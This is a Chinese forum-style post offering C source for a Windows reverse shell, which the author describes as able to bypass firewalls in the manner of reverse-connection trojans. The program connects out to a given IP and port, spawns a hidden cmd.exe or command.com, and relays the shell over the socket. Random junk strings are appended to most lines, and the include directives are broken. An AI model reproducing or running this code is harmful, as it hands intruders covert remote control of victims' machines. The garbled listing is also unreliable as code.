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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 OgQd yU  
e~r/!B5X  
/* ============================== mypV[  
Rebound port in Windows NT BI'>\hX/V  
By wind,2006/7 cc@W 6W  
===============================*/ LC%o coc  
#include -IPo/?}  
#include <r%K i`u(p  
+;N]34>S7  
#pragma comment(lib,"wsock32.lib") Q@D7 \<t  
VtBC~?2U)B  
void OutputShell(); YIQD9  
SOCKET sClient; yx-{Pj X   
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; b!<_ JOL2.  
s :vNr@TS  
void main(int argc,char **argv) qBA)5Sv\V  
{ N5Js.j>z  
WSADATA stWsaData; _&gi4)q  
int nRet; z7K{ ,y  
SOCKADDR_IN stSaiClient,stSaiServer; Q$%apL  
C$[d~1t6  
if(argc != 3) d&AG~,&d|  
{  Nx}nOm  
printf("Useage:\n\rRebound DestIP DestPort\n"); *PJH&g#Ge  
return; ZU4=&K  
} v"*r %nCi  
a:FU- ^B4~  
WSAStartup(MAKEWORD(2,2),&stWsaData); O-?rFNavxp  
IH|zNg{\Y  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); TI>5g(:3\  
r\NqY.U&  
stSaiClient.sin_family = AF_INET; :F(4&e=w  
stSaiClient.sin_port = htons(0); lqDCK&g$E#  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); cslC+e/  
Tz @<hE  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) %~rEJB@{  
{ 3efOgP=L  
printf("Bind Socket Failed!\n"); uEPp%&D.+  
return; rQ*+ <`R}  
} (i "TF2U,<  
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stSaiServer.sin_family = AF_INET; 19 5_1?'<  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 0'^M}&zCi  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]);  3Y#Q'r?  
Mz@{_*2   
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 9~SPoR/_0  
{ _O`prX.:B0  
printf("Connect Error!"); ~ 9>H(c  
return; \GFq RRn  
} =RoE=) 1&-  
OutputShell(); `<XS5h h=  
} }%g[1 #%(  
#S>N}<>  
void OutputShell() lhUGo =  
{ E=NjWO  
char szBuff[1024]; Gu;40)gm  
SECURITY_ATTRIBUTES stSecurityAttributes; U/>I! 7oe  
OSVERSIONINFO stOsversionInfo; E-A9lJWr  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; * #yF`_p  
STARTUPINFO stStartupInfo; V@'Xj .ze  
char *szShell; fu7x,b0p  
PROCESS_INFORMATION stProcessInformation; "4b{YWv  
unsigned long lBytesRead; I|X`9  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); <ZC .9  
Kz'GAm\  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); oj8r*  
stSecurityAttributes.lpSecurityDescriptor = 0; X5WA-s(?0  
stSecurityAttributes.bInheritHandle = TRUE; [P2>KQ\  
SKG U)Rn;  
Np\NStx2  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); snbXAx1L  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); SSe;&Jk2d  
+y| B"}x  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); +17!v_4^  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .Xlo-gHk  
stStartupInfo.wShowWindow = SW_HIDE; AD;m[u7  
stStartupInfo.hStdInput = hReadPipe; <bcf"0A  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; lMv6QL\>'  
2/SUEnaLy_  
GetVersionEx(&stOsversionInfo); g[cnaS|?  
u#6s^ )W  
switch(stOsversionInfo.dwPlatformId) [s}W47N1  
{ wgz]R  
case 1: *q}yfa35eR  
szShell = "command.com"; ydWr&E5  
break; E:` _P+2p  
default: GMU!GSY  
szShell = "cmd.exe"; \`.v8C>vG  
break; &r,vD,  
} EU(e5vO  
Z~:)hwF  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); xI,3(A.  
@!;A^<{ka  
send(sClient,szMsg,77,0); PqspoH 0OI  
while(1) rtPo)#t  
{ )xp3 ElH  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); /qdvzv%T  
if(lBytesRead) FH</[7f;@N  
{ yLRe'5#m  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); %YVPm*J ~  
send(sClient,szBuff,lBytesRead,0); fR1L VLU  
} b>5* G1  
else D;sG9Hky  
{ 0hY3vBQ!  
lBytesRead=recv(sClient,szBuff,1024,0); yp~z-aRa  
if(lBytesRead<=0) break; ~n -N  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); gmp@ TY=:L  
} @tT`s^e  
} O%%Q./oh  
G[}v?RLI  
return; mJ%^`mrI  
}
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